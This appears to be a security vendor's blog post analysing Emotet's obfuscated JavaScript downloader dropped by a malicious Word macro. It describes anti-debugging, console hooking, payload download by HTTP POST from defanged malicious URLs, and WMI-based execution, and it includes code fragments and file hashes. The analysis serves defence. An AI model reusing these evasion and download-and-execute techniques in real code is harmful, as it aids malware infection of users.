Reawakening of Emotet: An Analysis of its JavaScript Downloader

In mid-September 2019, Emotet resumed its activity and we evaluated changes to its operation in a previous blog post by Alex Holland.

One of the noticeable changes is that some of the malicious Microsoft Word downloaders drop and execute JavaScript during the initial compromise. The use of a JavaScript downloader delivered within an archive (.zip) file by Emotet is not new, but samples from the September campaign shows that the downloader has been updated. Emotet’s document-based downloaders mostly relied on Visual Basic for Applications (VBA) macros and PowerShell to download a packed payload to victim systems, but use of JavaScript to download and execute the main payload is more prevalent now.

In this blog post, we analyse Emotet’s updated JavaScript downloader which is more heavily obfuscated than previous versions. The use of obfuscated JavaScript in the initial compromise phase easily evades detection based on static analysis and parent-child process relationships. Our analysis shows how using multiple layers of obfuscation, bracket notation, anonymous functions, mangled names and anti-analysis measures enables Emotet to stay one step ahead of signature-based engines. The similarity of the obfuscation measures used resembles that of an open-source GitHub project called JavaScript obfuscator. It is possible that Emotet’s JavaScript downloaders are obfuscated using this software.

File Information

File Name: Documento_2019_69318.docm

File Size: 240.77 KB (246552 bytes)

Classification: Document-Word.Trojan.Sdrop

MD5: 8CCBE39E1FCEAD257284E55753C18799

SHA1: D468EA5BA7A856C12C3AC887C1A023F6B1182165

SHA256: 82BB3612B299CBA0350E1DC4C299AF9D50354CC1448B1DD931017F4381D0606A

Microsoft Word Dropper

The Emotet downloader arrived as part of a phishing campaign delivering a malicious Microsoft Word document (.docm). In this sample, the malware author tricks the user into clicking the “Enable content and Enable Editing” ribbon using a warning that Microsoft Word’s features will be disabled after Friday, September 20, 2019.

Figure 1 – New Microsoft word document template with a warning to trick the user into clicking on the “Enable content” button.

Enabling content leads to the execution of the macro. Unlike the previous version of Emotet’s downloader, the embedded macro is less obfuscated but contains a lot of junk lines. One can easily deobfuscate the Document_Open subroutine by deleting those junk lines. The subroutine uses Scripting.FilesystemObject to create a text file at location %USERPROFILE%\0.7055475.jse.

Not So Random File Name – 0.7055475.jse

The file name is generated using VBA’s Rnd function that generates a pseudo-random seven digit number that is greater than 0 and less than 1. However, the implementation of the Rnd function in the macro does not result in a random file name as intended. This is because in order to generate a pseudo-random number, Rnd relies on a seed value. In Visual Basic, you can generate a fresh seed value using the Randomize function, but macro’s author did not do this. The result is that the Rnd function generates a number from the default seed value, resulting in a consistent filename (“0.7055475.jse”). According to Microsoft’s documentation on the pseudo-random number generator implemented in Rnd, by default the function will return the same sequence of pseudo-random numbers each time the program is run.

Writing the JavaScript to Disk

The macro then uses function CreateTextFile to create file at location %USERPROFILE% with parameters to overwrite any existing files at that location with same filename and Unicode encoding set to true. CreateTextFile returns a text stream of the object and then the macro calls the Write method the on the text stream object to save the content of an embedded form called UserForm1. As we can see in figure 2, UserForm1 contains the obfuscated JavaScript which is then written into a .jse file.

Figure 2 – Embedded JavaScript within Form UserForm1.

Figure 3 – Obfuscated Document_Open subroutine, which contains junk lines.

Figure 4 – Deobfuscated Document_Open subroutine that copies and executes the embedded JavaScript.

After dropping the JavaScript file, the macro creates a WScript shell object by calling CreateObject on Shell.Application. The methods of the shell object makes system functions available to the macro. Malware authors often use these methods to create directories, access special folders, spawn processes and execute scripts. In this sample, the ShellExecute method is used to launch the JSE file.

JavaScript Downloader

As expected, the JSE file is highly obfuscated and easily evades detection based on signature and static-code analysis. Figure 5, shows that even eight days after the infection only 9/57 (16%) of engines detected the malicious JavaScript.

Figure 5 – VirusTotal detection summary for 0.7055475.jse.

Path: %USERPROFILE%\0.7055475.jse

SHA256: D1292f0e74af41db6139b453effb022d8c506efa3108a22f87d580fab9c5e864

Figure 6 – Snippet of Obfuscated JavaScript which shows content of string array “a”.

Heavy use of Bracket Notation

In JavaScript, you can call methods and access properties of an object using bracket notation. For example, [“WScript”][“CreateObject”](“WScript.Shell”). Bracket notation provides several benefits with only one restriction that object’s property identifier should be a string or resolve to a string. This means that you can use variables and numbers in place of property identifiers in bracket notation. For malware authors, it provides an opportunity to tokenise and substitute methods and properties of an object within brackets with obfuscated strings. In this sample, Emotet uses bracket notation extensively, substitutes and obfuscates the strings, defines the strings in one place in an array, implements another layer of obfuscation and then encodes these strings. The resulting JavaScript makes it difficult for static analysis engines to deobfuscate the downloader.

Use of Anonymous Functions

The script starts with an array initialised with obfuscated strings. Just after the array initialisation, there is an anonymous function (figure 7). In JavaScript, an anonymous function is simply a function without a name. These functions are not declared with a named identifier and can be assigned to a variable. These variables can have a mangled name which makes it hard to read and analyse the script. One can think of them as being similar to function pointers in C and C++. The function defined in figure 7 shuffles the array.

Figure 7 – Anonymous functions that shuffles the strings in the array.

This function takes two arguments. The first argument is string array “a” and the second is a hex number 0xEA (234). The function uses hex value 0xEA as a counter and then passes it to another function called “e”. Let’s rename “e” to “Shuffle”. This function is another anonymous function that runs a while loop and decrements the counter until it reaches zero. During each iteration, it performs two tasks. First, it calls the “shift” operator on array “a”. The “shift” operator removes the first element from string array “a” and returns the first element. It also decrements the length of the array by one. Second, it calls the “push” operator, which pushes the element removed in step 1 by the “shift” operator to the last position of the array.

Let’s understand the operation by following an example where temp_array is initialised with [‘1’, ‘2’, ‘3’]:

var temp_array = [‘1’, ‘2’, ‘3’];

The Shift operation on temp_array will return the first element “1”, causing temp_array to contain [‘2’, ‘3’].

The Push operation on temp_array with argument temp_array.shift(), will push “1” in to the last index. Now the temp_array will hold the elements in the order:

[‘2’, ‘3’, ‘1’]

In this script, it shuffles the strings in the array “a” 234 times.

Use of Mangled Names in JavaScript

In this script, all the functions are anonymous and are assigned to variables that have mangled names, for example a, b, c, etc. The use of mangled names makes a function call unrecognisable and hard for an analyst to read and understand its logic. The next anonymous function is assigned to variable “b”. The function assigned to variable “b” is used for deobfuscation and returns a string that is used for retrieving the properties of objects in bracket notation mentioned above. The function takes two arguments: an array index and a string that is four characters long. The second argument of the function is a key to decode the string in array “a”. This function also stores decoded values in a dictionary to avoid decoding it again if referenced multiple times.

Figure 8 – Decoded strings for the corresponding calls to the deobfuscator function with array index and key as parameters.

Anti-Analysis – Disabling Debugging

The script disables debugging of the JSE script using browsers and development tools. It calls a debug protection function based on the runtime environment. In the snippet below, function “bV” is called with the argument “0” which puts the script either into an infinite loop or calls an anonymous function with the constructor “debugger”. If an analyst tries to debug the script, for instance in a browser, the debug protection used in the script will freeze the browser and make it almost impossible to debug unless the debug protection function is removed.

Figure 9 – Function that checks and returns the debug protection template function.

Figure 10 – Anonymous function template to provide debug protection.

Anti-Analysis – Disabling Console Output using Hooks

The script disables console output by redefining the console output function for all trace levels. It calls the function “ad” before downloading the payload. This function splits the string “3|2|0|4|1” with separator character “|” to tokenise it. Each token converts into a switch case statement and sets some variables. This is a standard trick to prepare variables for a switch-case block inside a while(true) loop.

In figure 11, the case “2” block sets variable “as” to an empty function. This is then used to redefine [‘Console’][‘log’], [‘Console’][‘trace’], [‘Console’][‘info’], etc in the case “1” block to an empty function call. If the analyst adds console logs to the script, it won’t be printed on execution and will end up calling an empty function call. This technique generates confusion and makes it hard for an analyst to print the deobfuscated statements and variables.

Figure 11 – In case “2” block, variable “as” is defined as an empty function.

Figure 12 – The case “1” block redefines [‘console’][Level] to an empty function, where <Level> is info, debug, trace etc.

Downloading the Payload using an ActiveXObject and HTTP POST Request

The script then creates a ServerXMLHTTP object to retrieve an XML response using HTTP POST method.

bN[‘setOption’](0x3, “MSXML”);

It calls the setOption method on the object with the option SXH_OPTION_SELECT_CLIENT_SSL_CERT and the value “MSXML”. According to MSDN, the default value for option SXH_OPTION_SELECT_CLIENT_SSL_CERT is an empty string. If a server requests a client certificate then it first sends the certificate in local storage.

var bQ = bN[“open”](“POST”, url_lists[aD], ![]);

After setting the option on the ServerXMLHTTP object, it iterates through the list of URLs shown below and initialises the request by calling the Open method on the object with the HTTP POST method, iterated URL and synchronous mode.

hxxp://ilyalisi[.]com/wp-admin/zdq0487/

hxxp://limkon[.]com/wp-admin/lr41v586/

hxxps://indieconnectads[.]com/gcx5ln/5f8704/

hxxp://www.behlenjoiner[.]com/y3sb/e71h7936/

hxxps://ragulars[.]com/CmJb/ziv4/

The synchronous mode on the HTTP request is set by changing bAsync parameter of the Open method to false.

bN[‘send’](‘cxvdsa’);

Once the request is initialised it calls the send method with message body “cxvdsa”. If the status of the send request is successful, it creates an ActiveX stream object (ADODB.Stream) and writes the response body received from the earlier HTTP POST request to the stream object. Afterwards, it calls the SaveToFile method, specifying the filename as “%TEMP% + in + random_number + .exe” and option 2 (adSaveCreateOverWrite). This option overwrites the destination file if a file with the same name already exists.

Figure 13 – HTTP POST request for a URL to download the Emotet payload.

Validating the Payload Binary

After saving the file at location “%TEMP% + in + random_number + .exe” it creates an object using FileSystemObject and opens the payload as a text stream using OpenAsTextStream. OpenAsTextSTream is called with option iomode as 1 (ReadOnly). Afterwards, it reads the first two bytes from the stream and compares it against “MZ” to validate that downloaded payload has a valid PE magic number.

bn = aY[“GetFile”](payload)[‘Size’];

If the header suggests that it is a valid PE file, then it performs a second validation by checking its file size. It first retrieves the file size of the downloaded payload using the GetFile method and then compares it against the content length of the response header in the HTTP POST request.

Executing the Payload with a Fallback Approach

If the validation of the payload is successful, the script uses a try-catch block to execute the payload. The script tries different code execution methods should an exception be thrown for any method. First, the script calls the Create method of the Win32_Process WMI class to launch the payload as a child process of WmiPrvSe.exe (WMI Provider Host). Executing payload via WMI Provider Host helps evade detection based on parent-child process relationships. Any exception raised while launching the payload using WMI is caught. If this happens, a fallback method is used where the payload is launched using the Shell object “Run” method with the argument cmd /c “payload_path”. If any exception is raised using this method, the script fall backs to launching the payload directly using the WScript Shell object “Exec” method.

Figure 14 – Payload validation and execution with fallback methods.

Anti-Analysis – Fake Error

The script during its execution checks if it is launched from the Startup directory by calling ScriptFullName to check if the string “Startup” exists in the script’s full path. If it doesn’t exist, it tokenises the string “3|1|4|0|2” by calling the Split method with the separator character “|”. In case “2” it creates a pop-up window using WScript Shell object with the message “MS Word can’t open this document”. This measure is intended to make the user believe that the document is broken. Ostap’s JScript downloader uses a similar anti-analysis measure.

Figure 15 – JavaScript shows a fake message to the user during execution.

Process Interaction Graph

Figure 16 – Process interaction graph as viewed in Bromium Controller.

Indicators of Compromise